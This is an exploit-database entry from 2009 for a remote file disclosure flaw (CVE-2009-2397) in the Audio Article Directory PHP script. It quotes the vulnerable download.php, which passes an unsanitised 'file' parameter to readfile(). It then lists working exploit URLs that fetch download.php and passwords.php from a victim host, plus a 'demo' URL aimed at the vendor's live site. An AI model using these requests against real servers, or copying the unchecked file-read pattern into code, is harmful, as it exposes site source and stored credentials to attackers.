Audio Article Directory - 'file' Remote File Disclosure
Author: ThE g0bL!N
type: webapps
platform: php
port:
date_added: 2009-06-28
date_updated:
verified: 1
codes: OSVDB-55450;CVE-2009-2397
tags:
aliases:
screenshot_url:
application_url:
#################################################################################################################
[+] Audio Article Directory Remote File Disclosure Vulnerability
[+] Discovered By ThE g0bL!N
Vendor:http://audioarticledirectory.com
#################################################################################################################
Poc
---
Download.php
<?
$file = "./".$_GET['file']; => one
header('Content-Description: File Transfer');
header('Content-Type: application/force-download');
header("Content-Disposition: attachment; filename=\"".basename($file)."\";");
header('Content-Length: ' . filesize($file));
@readfile($file) OR die(); => 2
?>
Exploit
----
http://victim/download.php?file=download.php
http://victim/download.php?file=./passwords.php
Demo
----
http://audioarticledirectory.com/demo/download.php?file=./passwords.php
################################################################################################################
# milw0rm.com [2009-06-29]